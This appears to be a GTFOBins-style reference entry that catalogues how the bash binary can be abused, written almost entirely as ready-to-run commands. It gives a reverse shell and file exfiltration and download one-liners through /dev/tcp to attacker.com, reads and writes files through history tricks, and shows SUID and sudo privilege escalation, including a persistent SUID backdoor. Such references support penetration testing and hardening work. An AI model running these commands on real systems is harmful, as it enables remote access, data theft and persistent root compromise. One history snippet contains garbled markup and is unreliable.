Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

bash

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

Run nc -l -p 12345 on the attacker box to receive the shell.

export RHOST=attacker.com
export RPORT=12345
bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'

File upload

It can exfiltrate files on the network.

Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.

export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'

Send local file using a TCP connection. Run nc -l -p 12345 > "file_to_save" on the attacker box to collect the file.

export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'

File download

It can download remote files.

Fetch a remote file via HTTP GET request.

export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/$RHOST/$RPORT \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'

Fetch remote file using a TCP connection. Run nc -l -p 12345 < "file_to_send" on the attacker box to send the file.

export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

export LFILE=file_to_write
bash -c 'echo DATA > $LFILE'

This adds timestamps to the output file.

LFILE=file_to_write
HISTIGNORE='history .md <b>█<b><div>'
history -c
DATA
history -w $LFILE

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

It trims trailing newlines and it’s not binary-safe.

export LFILE=file_to_read
bash -c 'echo "$(<$LFILE)"'

The read file content is surrounded by the current history content.

LFILE=file_to_read
HISTTIMEFORMAT=$'\r\e[K'
history -r $LFILE
history

Library load

It loads shared libraries that may be used to run code in the binary execution context.

bash -c 'enable -f ./lib.so x'

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

sudo install -m =xs $(which bash) .

./bash -p

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo bash